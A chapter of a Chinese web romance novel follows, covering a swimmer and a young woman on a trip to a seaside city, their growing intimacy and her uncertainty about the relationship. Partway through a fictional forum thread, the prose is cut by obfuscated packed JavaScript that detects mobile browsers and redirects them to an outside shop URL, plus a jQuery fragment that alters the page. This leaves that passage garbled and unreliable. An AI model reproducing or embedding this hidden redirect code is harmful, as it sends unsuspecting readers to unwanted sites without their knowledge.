33. 第三十三章·二人旅行

作品:《拉下泳坛高岭之花[游泳]

    只要她去了,以孟照邻的体贴主动,她大概率就会成为别人的女朋友。


    他无法忍受。


    无法想象她以后看向自己的眼神里,会带上属于别人女友的界限感。


    她那么善解人意,像温吞吞的火,一点点融化了他心里的冰山。


    她似乎总能第一个察觉到他那连自己都未曾言明的自虐情绪,用她真诚的心去治愈他。


    他不敢想象,如果有一天,她的耐心,转移给另一个男人……


    这个念头闪过便让他心口发紧,恐慌的独占欲就要破膛而出。


    他想抓住她的念头异常强烈,却被太多顾忌缠住手脚。


    他知道问题出在自己身上,出在自己与生俱来的别扭疏离里。


    他渴望光,又惧怕被灼伤。


    想靠近,身体却拧巴做出了回避的姿态。


    周杰伦慵懒的嗓音在房间里缓缓荡漾开。


    【温柔的让我心疼的可爱女人……】


    【透明的让我感动的可爱女人……】


    【坏坏的让我疯狂的可爱女人……】


    他闭上眼向后倒在床上,将手臂搭在额头上。


    ……


    坐在候机大厅里,应青瓷依然有种强烈的不真实感。


    暖橙色夕阳透过落地窗洒进来,有几缕正落在江屿阔的脸上。


    他戴着口罩,鸭舌帽扣在头上,靠着椅背睡着了,想必是连日的训练太累。


    应青瓷怕这光扰了他的安眠,伸出手将他本的帽檐又往下按了按,让阴影笼住他阖上的双眼。


    心里泛起浅浅甜意,像偷吃了蜜糖。


    她拿起手机,对着他毫无防备的睡颜快速按下了快门。


    看着屏幕上定格的照片,她得逞地抿嘴偷偷笑了笑。


    她的目光又不自觉地落在他随意搭在扶把的手上。


    他的手型非常好看,骨节分明,手指修长。指甲修剪得干干净净,甲床透出健康的粉色。


    她屏住呼吸,小心地将他的大手翻过,掌心朝上,而后慢慢覆上自己的手。


    他的手比她的大了整整一圈,她的指尖甚至够不到他的指根。


    心头莫名一颤,涌上一股难以言喻的安全感。


    她再次举起手机,对准相贴的双手。


    忽然修长的手指滑入她的指缝顺势蜷握起来,十指相扣。


    应青瓷惊得睫毛一颤。


    抬眼看见江屿阔不知何时已经睁开了眼睛。


    【各位旅客请注意,您乘坐的XXXX次航班现在开始登机……】


    机场广播响起。


    江屿阔背起放在一旁的双肩包,牵着她朝着登机口的方向走去。


    应青瓷跟在他身侧,回头对着夕阳下两人长长相依偎的影子拍了一张。


    ……


    到了N市,空气明显温润起来。


    已是十一月底,大街上的行人却仍多是夏日装扮,海风裹挟着暖意扑来。


    时间有些晚了,两人在酒店放下行李再出来时,已是夜里十点多。


    沿着宁静的海边小径缓缓走着,江屿阔似乎也放松了许多,将帽子和口罩都摘了下来,任由海风拂过他额前的碎发。


    他习惯性地沉默着,她也默契地不去打破这份静谧。


    认识他一年半,应青瓷渐渐摸清了他的脾气。


    除非必要的社交场合,私下里的他,本质上是如此寡言而安静。


    路过一个工艺品小摊时,应青瓷扯扯他的手凑了上去。


    摊子上挂满了各种编织精巧的小饰品,都用红绳系着,琳琅满目,应有尽有。


    应青瓷饶有兴致地低头翻找,指尖拨过一个个可爱的造型,最后挑出了一个用红色丝线编成的小蓝鱼坠子,活灵活现。


    她献宝似的拿到江屿阔眼前晃了晃,他眨了眨眼,没说话,目光在摊上扫过,默不作声地拈起一个青花瓷瓶形状的蓝色绳结,轻轻放在了应青瓷的手心里。


    应青瓷眼睛弯成了月牙。


    她将两件小东西一起交给老板结账。


    她把那条串着蓝色小鱼的手链戴到自己手腕上,又拿起那个青花瓷小瓶的手链,示意他伸出手:“我们换着戴,这样就算不在一起的时候,它们也能代替我们,一直陪在对方身边啦!”


    江屿阔轻哼:“幼稚。”


    嘴上嫌弃着,身体却配合地伸出了手腕,任由她将那条青花瓷的蓝绳系在他的腕间。


    两人继续牵着手往回走。


    应青瓷兴起,拉起他的手将两人的手腕并在一起,对着远处城市的灯火,拍下了一张照片。


    “江屿阔,”她收起手机,忽然歪头叫他,眼睛里闪着狡黠的光,“我要考你一个脑筋急转弯。”


    江屿阔哼了一声,用指节敲了一下她脑门,“现在连学长都不叫了。”


    应青瓷没理会他,径直问道:“你觉得,你是好人还是坏人?”


    江屿阔挑眉:“坏人。”


    “那我也是坏人。”应青瓷立刻接上。


    江屿阔不知道她这小脑袋瓜里又想搞什么名堂,略带疑惑地转过脸看她。


    “为什么。”他上套了。


    应青瓷一脸严肃的表情突然破功,绽开一个坏坏的笑容,飞快伸出手,在他结实的胸肌上捏了一把。


    “因为坏人自有坏人摸呀!哈哈哈哈哈哈……”


    她自己先绷不住,笑得前俯后仰。


    江屿阔一脸无语地看着她笑得花枝乱颤。


    “不好笑吗?我最近刚在网上看到的哎!”


    应青瓷笑得眼泪都快出来了,其实心里有点虚虚的.


    天知道,她就是仗着气氛好,顺便……


    揩点油水。


    ……


    温热的水汽氤氲在房间的空气里,混着她刚涂的身体乳散发出的淡淡甜奶香。


    应青瓷有些心虚地擦着手臂上没完全晕开的身体乳,瞄着浴室那面磨砂玻璃,飞溅的水花喷在男人完美的剪影之上,渲染着无声的旖旎。


    天哪……


    她后知后觉地意识到,刚才她洗澡的时候,岂不是也被他看到了。


    猛地吞了下口水,她脸颊发烫地迅速掏出手机,在搜索框里输入。


    【男友……】


    打了两个字,又觉得不妥,赶紧删掉,重新输入。


    【男性友人邀请旅行代表什么】。


    各式各样的回复唰唰地跳了出来。


    她随手点开一个热帖。


    1L:【X生活不和谐的人他根本不会邀请单独旅行!】


    2L:【同意楼上,楼主不用做旅行攻略了,因为根本就不会走出酒店房间!】


    3L:【代表他想检验和你的磨合程度……等等,怎么都有男性友人啊?】


    4L:【帅吗?帅就别犹豫了姐妹!】


    5L:【划重点:先跟他要体检报告!】


    6L:【别人的生活是女频小说,我的生活是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119019|195004||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    《活着》。】


    这都是什么跟什么啊……


    看了半天也没找到有营养的回答,她郁闷地刚想往下翻页。


    “看什么呢。”


    江屿阔的声音突然从头顶传来,吓得她手一抖,手机直接飞了出去。


    “没,没看什么。”她心跳漏了半拍,慌忙弯下捡起手机,差点扭到腰。


    抬起眼时眼神闪烁,心虚得不敢与他对视。


    他正拿着毛巾擦拭着湿漉漉的头发,身上换了件干净的白T,下身是条灰色的休闲短裤。


    其实她很想问他,非常想。


    现在他们之间,到底算什么呢。


    如果算是男女朋友,可他从未正式发出过交往的邀请,也从未在任何人面前承认过她的身份。


    她当然考虑过他作为公众人物需要低调,也愿意配合他私下里暗戳戳地好,但他至少总该给她一句准话,一个明确的身份吧。


    如果只是朋友呢。


    可朋友会像现在这样,同住一间房吗?


    心里有点委屈的酸涩。


    她当然计较着他没给准话,但行动上早已投降。


    连安全套都悄悄备好在包里,隐秘地期待着某种可能的发生。


    总是在自我鄙夷与豁达看开之间反复横跳。


    一会儿觉得自己过于主动,一会儿又说服自己,这不过是一场只随当下的体验。


    应青瓷抿着唇,紧张地打量着他擦头发的动作。


    他们运动员在大赛前有禁欲的不成文规定,眼下一段时间都是休整期。


    这是不是意味着,他可以……


    她也可以……


    对他做点什么?


    啊啊啊啊!好羞耻!


    她怎么会对他的身体如此没有抵抗力?


    难道这就是传说中的生理性喜欢吗?


    那他对她呢?


    应该……也是有点喜欢的吧。


    不然怎么会带她来这里。


    待会儿他要是吻她,她该是什么反应?


    是下意识闪开,还是半推半就,或者胆子更大一点,直接把他推倒?


    想到这里,她忍不住压下想要上扬的嘴角,偷偷笑了起来,心里像有无数个粉色小泡泡在噗噗地冒。


    “为什么突然想考驾照。”


    他走到落地窗前的单人椅上坐下,随意地拿起手机滑着屏幕。


    应青瓷一愣,从满脑子奔腾的旖旎幻想中被强行拉回现实。


    她转过身面向他,老实回答:“就是觉得多一项技能总没错吧。而且将来毕业找工作,有些单位也会对有驾照有要求。”


    他点点头,接了一句:“也为了青峦吧,看你总带他去坐地铁。”


    “不止他,”应青瓷实诚地点头,“还有我爸妈呀,以后我爸要是应酬喝醉了,我还能替他开车,不用总是麻烦别人或者找代驾……”


    她的话还没说完,江屿阔却轻轻笑了一声,将手机随手扔到一旁的床上。


    他忽然伸手拉住她的手腕,往身前一拽。


    应青瓷轻呼着趔趄跌近,慌忙撑住扶手,一低头便撞进他仰起的眼眸。


    房间里只开了盏昏黄的壁灯,光线在他沉静的眼底投下一片小小的阴影,闪烁着一点点与平日两样的情动。


    他握着她的手腕没松,顺势反剪到她身后,将她禁锢在自己双膝之间。


    “应青瓷,”他仰头看她,喉结微动,“你的计划里,也会有我吗?”